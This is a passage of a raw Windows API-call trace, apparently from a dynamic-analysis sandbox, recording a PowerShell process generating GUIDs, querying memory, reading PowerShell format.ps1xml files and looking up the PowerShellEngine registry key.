CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xb64baa2, Data2=0x44a8, Data3=0x4f04, Data4=([0]=0x83, [1]=0xa8, [2]=0xce, [3]=0xb8, [4]=0x39, [5]=0xc5, [6]=0xb2, [7]=0x25))) returned 0x0 [0043.257] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xe66bf697, Data2=0xd1f2, Data3=0x4609, Data4=([0]=0xbf, [1]=0x99, [2]=0x1a, [3]=0x3f, [4]=0xea, [5]=0xbf, [6]=0x2e, [7]=0xd0))) returned 0x0 [0043.257] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x852a1ff3, Data2=0x4fc0, Data3=0x40d4, Data4=([0]=0xb9, [1]=0x94, [2]=0x6e, [3]=0x76, [4]=0x66, [5]=0x47, [6]=0x36, [7]=0xf3))) returned 0x0 [0043.258] SetErrorMode (uMode=0x1) returned 0x1 [0043.258] SetErrorMode (uMode=0x1) returned 0x1 [0043.258] GetFileType (hFile=0x308) returned 0x1 [0043.262] SetErrorMode (uMode=0x1) returned 0x1 [0043.262] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d360 | out: lpFileInformation=0x24d360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e9dda3, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e9dda3, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0043.262] SetErrorMode (uMode=0x1) returned 0x1 [0043.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0043.263] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d448 | out: phkResult=0x24d448*=0x308) returned 0x0 [0043.263] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d3cc, lpData=0x0, lpcbData=0x24d3c8*=0x0 | out: lpType=0x24d3cc*=0x1, lpData=0x0, lpcbData=0x24d3c8*=0x56) returned 0x0 [0043.263] CoTaskMemAlloc (cb=0x5a) returned 0x1b9c7fe0 [0043.263] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d39c, lpData=0x1b9c7fe0, lpcbData=0x24d398*=0x56 | out: lpType=0x24d39c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d398*=0x56) returned 0x0 [0043.263] RegCloseKey (hKey=0x308) returned 0x0 [0043.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0043.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0043.267] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x18d4055e, Data2=0x3e2d, Data3=0x4396, Data4=([0]=0xa5, [1]=0xd5, [2]=0xfb, [3]=0x16, [4]=0x47, [5]=0xf9, [6]=0x81, [7]=0xb7))) returned 0x0 [0043.267] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x59494eab, Data2=0xf424, Data3=0x4d47, Data4=([0]=0xaa, [1]=0x81, [2]=0x13, [3]=0xf1, [4]=0xcc, [5]=0x3d, [6]=0xd7, [7]=0xcb))) returned 0x0 [0043.268] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x37549ec3, Data2=0xa5f1, Data3=0x4e75, Data4=([0]=0xa0, [1]=0x4, [2]=0x21, [3]=0x93, [4]=0x8f, [5]=0x39, [6]=0xb9, [7]=0x73))) returned 0x0 [0043.268] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x9792a46d, Data2=0x4b73, Data3=0x4d2f, Data4=([0]=0x91, [1]=0x8e, [2]=0x3b, [3]=0xa7, [4]=0x49, [5]=0x5e, [6]=0xfb, [7]=0x2b))) returned 0x0 [0043.268] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x95923cb, Data2=0x7e9d, Data3=0x4fc0, Data4=([0]=0xa5, [1]=0x36, [2]=0x47, [3]=0x9f, [4]=0x34, [5]=0xb4, [6]=0x3e, [7]=0x9d))) returned 0x0 [0043.269] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x6ca9160b, Data2=0xcab7, Data3=0x411c, Data4=([0]=0xa9, [1]=0x68, [2]=0x8c, [3]=0x1d, [4]=0x96, [5]=0x95, [6]=0x18, [7]=0x15))) returned 0x0 [0043.269] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x9fd317e0, Data2=0x645, Data3=0x4121, Data4=([0]=0x85, [1]=0x4f, [2]=0x92, [3]=0xcc, [4]=0x19, [5]=0x33, [6]=0x94, [7]=0x20))) returned 0x0 [0043.269] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.270] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xaf91d5b0, Data2=0x697, Data3=0x4063, Data4=([0]=0xa7, [1]=0x7, [2]=0x79, [3]=0x54, [4]=0x1b, [5]=0x57, [6]=0xee, [7]=0x1a))) returned 0x0 [0043.270] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x1e79c9a0, Data2=0xc779, Data3=0x4b8c, Data4=([0]=0xa5, [1]=0x8a, [2]=0x51, [3]=0x44, [4]=0x99, [5]=0xac, [6]=0x56, [7]=0x7a))) returned 0x0 [0043.270] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x8111c96c, Data2=0xe4ac, Data3=0x48ba, Data4=([0]=0xb2, [1]=0x34, [2]=0x3e, [3]=0x0, [4]=0xc9, [5]=0x38, [6]=0xd0, [7]=0x89))) returned 0x0 [0043.271] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x22c0cd53, Data2=0xaf20, Data3=0x430a, Data4=([0]=0xb5, [1]=0x1c, [2]=0xde, [3]=0x4b, [4]=0x56, [5]=0xe1, [6]=0x34, [7]=0x41))) returned 0x0 [0043.271] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x62a79595, Data2=0xd418, Data3=0x4581, Data4=([0]=0x82, [1]=0x2e, [2]=0xdc, [3]=0x31, [4]=0xf5, [5]=0xfa, [6]=0x34, [7]=0xe))) returned 0x0 [0043.271] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xcbb3ed2b, Data2=0x2107, Data3=0x4734, Data4=([0]=0xa6, [1]=0x4e, [2]=0xd2, [3]=0x6b, [4]=0x4, [5]=0x38, [6]=0xfa, [7]=0xbe))) returned 0x0 [0043.272] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x54f576bb, Data2=0x4aaa, Data3=0x4bd7, Data4=([0]=0xa2, [1]=0xe3, [2]=0xd6, [3]=0x2, [4]=0xa2, [5]=0x13, [6]=0x6e, [7]=0xe8))) returned 0x0 [0043.272] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x906e1665, Data2=0xf3e2, Data3=0x4a9e, Data4=([0]=0xb0, [1]=0x66, [2]=0x8c, [3]=0xc7, [4]=0x53, [5]=0x13, [6]=0xaf, [7]=0x37))) returned 0x0 [0043.272] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x495d0f05, Data2=0xd689, Data3=0x45ad, Data4=([0]=0xb7, [1]=0x17, [2]=0x5b, [3]=0xf5, [4]=0x56, [5]=0x81, [6]=0x61, [7]=0x34))) returned 0x0 [0043.273] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x5a2e25cd, Data2=0x3f34, Data3=0x4985, Data4=([0]=0xa1, [1]=0x83, [2]=0x44, [3]=0xb6, [4]=0x4f, [5]=0xa8, [6]=0xef, [7]=0x61))) returned 0x0 [0043.273] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xec3ed52c, Data2=0x1743, Data3=0x4eed, Data4=([0]=0xa7, [1]=0x97, [2]=0x57, [3]=0xcd, [4]=0xf2, [5]=0x5c, [6]=0x8, [7]=0xd3))) returned 0x0 [0043.273] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x7ae0bb9, Data2=0xd752, Data3=0x4fbf, Data4=([0]=0xac, [1]=0xf7, [2]=0xa2, [3]=0x58, [4]=0x3a, [5]=0x97, [6]=0xae, [7]=0x20))) returned 0x0 [0043.274] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.274] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.275] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.276] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xe0a14364, Data2=0x46de, Data3=0x4844, Data4=([0]=0xa1, [1]=0xc2, [2]=0xd1, [3]=0x31, [4]=0xf8, [5]=0xac, [6]=0x3a, [7]=0x8b))) returned 0x0 [0043.276] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x5828b5c3, Data2=0x41d7, Data3=0x4b72, Data4=([0]=0xba, [1]=0xe3, [2]=0xa4, [3]=0x18, [4]=0x37, [5]=0xb2, [6]=0x99, [7]=0xf3))) returned 0x0 [0043.276] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xbc67b990, Data2=0xcb29, Data3=0x4c53, Data4=([0]=0xbd, [1]=0x3, [2]=0x21, [3]=0xdb, [4]=0x95, [5]=0xc1, [6]=0xa6, [7]=0x67))) returned 0x0 [0043.277] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x42026048, Data2=0x332, Data3=0x487c, Data4=([0]=0x8a, [1]=0x57, [2]=0x9e, [3]=0xfc, [4]=0xb3, [5]=0x57, [6]=0x18, [7]=0xdb))) returned 0x0 [0043.277] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xf7b8bb84, Data2=0xa5d0, Data3=0x4736, Data4=([0]=0xb7, [1]=0xdc, [2]=0xfe, [3]=0xd4, [4]=0x66, [5]=0x3c, [6]=0x8e, [7]=0x5d))) returned 0x0 [0043.278] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x7682539d, Data2=0x6af5, Data3=0x4ba8, Data4=([0]=0xbf, [1]=0xe6, [2]=0xf7, [3]=0xbd, [4]=0x61, [5]=0x3f, [6]=0xae, [7]=0x73))) returned 0x0 [0043.278] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xf6ff8d16, Data2=0x13ed, Data3=0x4a56, Data4=([0]=0x9b, [1]=0x83, [2]=0x44, [3]=0x88, [4]=0x7, [5]=0x68, [6]=0x49, [7]=0x25))) returned 0x0 [0043.278] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xa31c5d90, Data2=0xf107, Data3=0x4441, Data4=([0]=0x87, [1]=0x4a, [2]=0x86, [3]=0x2f, [4]=0x7f, [5]=0x8b, [6]=0xdc, [7]=0x71))) returned 0x0 [0043.279] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xbf81c5e8, Data2=0xe3c6, Data3=0x4d7f, Data4=([0]=0xab, [1]=0x90, [2]=0x18, [3]=0x97, [4]=0x89, [5]=0x56, [6]=0xd2, [7]=0xb0))) returned 0x0 [0043.279] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x543efdd3, Data2=0xafc1, Data3=0x47c8, Data4=([0]=0xb5, [1]=0xfc, [2]=0x73, [3]=0x83, [4]=0x52, [5]=0xf2, [6]=0xeb, [7]=0xf3))) returned 0x0 [0043.279] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x2d292c45, Data2=0xe22d, Data3=0x4b1b, Data4=([0]=0xb9, [1]=0xf1, [2]=0xeb, [3]=0x25, [4]=0xac, [5]=0xd3, [6]=0xc9, [7]=0xf6))) returned 0x0 [0043.280] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xb15922ad, Data2=0x12bd, Data3=0x4c65, Data4=([0]=0xa7, [1]=0xbc, [2]=0x59, [3]=0x88, [4]=0x1f, [5]=0xb6, [6]=0x6d, [7]=0xe0))) returned 0x0 [0043.280] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x84b764a7, Data2=0x5908, Data3=0x49c8, Data4=([0]=0xba, [1]=0x72, [2]=0x8f, [3]=0xd3, [4]=0x37, [5]=0xb, [6]=0x34, [7]=0x54))) returned 0x0 [0043.280] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.281] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xfe78b68d, Data2=0x25d5, Data3=0x4c8b, Data4=([0]=0x8d, [1]=0x35, [2]=0xac, [3]=0xcb, [4]=0xb, [5]=0xbd, [6]=0xcd, [7]=0xd6))) returned 0x0 [0043.281] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.284] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.289] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xce9f3eb6, Data2=0x3a56, Data3=0x4e29, Data4=([0]=0x9e, [1]=0xcd, [2]=0x1d, [3]=0xc4, [4]=0xa5, [5]=0x42, [6]=0x9a, [7]=0xe0))) returned 0x0 [0043.290] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.290] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xa24ae9ed, Data2=0x169b, Data3=0x47e7, Data4=([0]=0xbe, [1]=0xb1, [2]=0x66, [3]=0xb6, [4]=0x63, [5]=0x0, [6]=0xca, [7]=0x43))) returned 0x0 [0043.291] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x39ca93e7, Data2=0x5c4c, Data3=0x4a3c, Data4=([0]=0xa1, [1]=0xf2, [2]=0x77, [3]=0x11, [4]=0xc9, [5]=0x3c, [6]=0xbf, [7]=0x52))) returned 0x0 [0043.291] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xcc6ab6da, Data2=0x7b38, Data3=0x4a61, Data4=([0]=0xa1, [1]=0x4, [2]=0xc8, [3]=0x8c, [4]=0xee, [5]=0xa3, [6]=0xa0, [7]=0xe2))) returned 0x0 [0043.292] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xe26924f, Data2=0x1de0, Data3=0x41e3, Data4=([0]=0xac, [1]=0x3a, [2]=0xef, [3]=0xaa, [4]=0xb1, [5]=0x0, [6]=0x5, [7]=0x29))) returned 0x0 [0043.293] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x302ac47f, Data2=0xff10, Data3=0x4274, Data4=([0]=0x84, [1]=0x6, [2]=0xcc, [3]=0xf5, [4]=0x36, [5]=0x1b, [6]=0xc5, [7]=0x39))) returned 0x0 [0043.293] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xdcb9b498, Data2=0x41e8, Data3=0x4ade, Data4=([0]=0x9f, [1]=0xed, [2]=0x1d, [3]=0x59, [4]=0xe1, [5]=0x12, [6]=0x4f, [7]=0x18))) returned 0x0 [0043.293] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x758e1f07, Data2=0x7964, Data3=0x4447, Data4=([0]=0x8b, [1]=0x30, [2]=0xe2, [3]=0x19, [4]=0x73, [5]=0x63, [6]=0xfe, [7]=0xb3))) returned 0x0 [0043.293] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.293] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x6758d3cb, Data2=0xa78a, Data3=0x4052, Data4=([0]=0x9c, [1]=0x3, [2]=0x97, [3]=0xb1, [4]=0x32, [5]=0xc2, [6]=0x4, [7]=0xa8))) returned 0x0 [0043.294] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x69437f05, Data2=0x6a5f, Data3=0x440a, Data4=([0]=0x99, [1]=0xfb, [2]=0xc4, [3]=0xb8, [4]=0x1b, [5]=0xaa, [6]=0x7d, [7]=0xcf))) returned 0x0 [0043.294] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x1d029cdf, Data2=0x8211, Data3=0x4da1, Data4=([0]=0xa4, [1]=0x1e, [2]=0x7a, [3]=0x90, [4]=0x30, [5]=0xd3, [6]=0x91, [7]=0x51))) returned 0x0 [0043.294] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xb973de9a, Data2=0x9422, Data3=0x4cfe, Data4=([0]=0xac, [1]=0xfb, [2]=0x14, [3]=0x48, [4]=0xcf, [5]=0x80, [6]=0x17, [7]=0x46))) returned 0x0 [0043.294] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xee66f66f, Data2=0x1ae, Data3=0x46d3, Data4=([0]=0x83, [1]=0xd8, [2]=0x80, [3]=0xbd, [4]=0x40, [5]=0x68, [6]=0xf5, [7]=0x3e))) returned 0x0 [0043.294] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.295] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x62dfe6fd, Data2=0x5d36, Data3=0x4df3, Data4=([0]=0x8a, [1]=0xba, [2]=0x7, [3]=0x99, [4]=0xa3, [5]=0xc3, [6]=0x1e, [7]=0x55))) returned 0x0 [0043.295] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xcf041c7, Data2=0x82c4, Data3=0x4595, Data4=([0]=0x84, [1]=0xc1, [2]=0xdd, [3]=0x4, [4]=0xbc, [5]=0xff, [6]=0x8d, [7]=0xc3))) returned 0x0 [0043.295] VirtualQuery (in: lpAddress=0x24c090, lpBuffer=0x24cf50, dwLength=0x30 | out: lpBuffer=0x24cf50*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.295] VirtualQuery (in: lpAddress=0x24c090, lpBuffer=0x24cf50, dwLength=0x30 | out: lpBuffer=0x24cf50*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.295] VirtualQuery (in: lpAddress=0x24c090, lpBuffer=0x24cf50, dwLength=0x30 | out: lpBuffer=0x24cf50*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.296] VirtualQuery (in: lpAddress=0x24c090, lpBuffer=0x24cf50, dwLength=0x30 | out: lpBuffer=0x24cf50*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.296] SetErrorMode (uMode=0x1) returned 0x1 [0043.296] SetErrorMode (uMode=0x1) returned 0x1 [0043.296] GetFileType (hFile=0x308) returned 0x1 [0043.296] ReadFile (in: hFile=0x308, lpBuffer=0x3bf0b48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3bf0b48*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.299] ReadFile (in: hFile=0x308, lpBuffer=0x3bf0b48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3bf0b48*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.299] ReadFile (in: hFile=0x308, lpBuffer=0x3bf0b48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3bf0b48*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.299] ReadFile (in: hFile=0x308, lpBuffer=0x3bf0b48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3bf0b48*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.300] ReadFile (in: hFile=0x308, lpBuffer=0x3bf0b48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3bf0b48*, lpNumberOfBytesRead=0x24d3b8*=0x8b4, lpOverlapped=0x0) returned 1 [0043.300] ReadFile (in: hFile=0x308, lpBuffer=0x3beff64, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3beff64*, lpNumberOfBytesRead=0x24d3b8*=0x0, lpOverlapped=0x0) returned 1 [0043.300] ReadFile (in: hFile=0x308, lpBuffer=0x3bf0b48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3bf0b48*, lpNumberOfBytesRead=0x24d3b8*=0x0, lpOverlapped=0x0) returned 1 [0043.301] CloseHandle (hObject=0x308) returned 1 [0043.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0043.301] SetErrorMode (uMode=0x1) returned 0x1 [0043.301] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d360 | out: lpFileInformation=0x24d360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0043.301] SetErrorMode (uMode=0x1) returned 0x1 [0043.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0043.301] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d448 | out: phkResult=0x24d448*=0x308) returned 0x0 [0043.301] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d3cc, lpData=0x0, lpcbData=0x24d3c8*=0x0 | out: lpType=0x24d3cc*=0x1, lpData=0x0, lpcbData=0x24d3c8*=0x56) returned 0x0 [0043.301] CoTaskMemAlloc (cb=0x5a) returned 0x1b9c7fe0 [0043.301] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d39c, lpData=0x1b9c7fe0, lpcbData=0x24d398*=0x56 | out: lpType=0x24d39c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d398*=0x56) returned 0x0 [0043.301] CoTaskMemFree (pv=0x1b9c7fe0) [0043.302] RegCloseKey (hKey=0x308) returned 0x0 [0043.302] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0043.302] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xfd2e9de7, Data2=0xa13d, Data3=0x42b2, Data4=([0]=0x8b, [1]=0x1a, [2]=0x5a, [3]=0xbb, [4]=0xa4, [5]=0xd8, [6]=0x12, [7]=0x24))) returned 0x0 [0043.303] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xa8382873, Data2=0xbec7, Data3=0x42ae, Data4=([0]=0x8e, [1]=0xf, [2]=0xe0, [3]=0xae, [4]=0xc2, [5]=0x21, [6]=0x23, [7]=0xa9))) returned 0x0 [0043.303] SetErrorMode (uMode=0x1) returned 0x1 [0043.303] SetErrorMode (uMode=0x1) returned 0x1 [0043.303] GetFileType (hFile=0x308) returned 0x1 [0043.303] ReadFile (in: hFile=0x308, lpBuffer=0x3c2e930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3c2e930*, 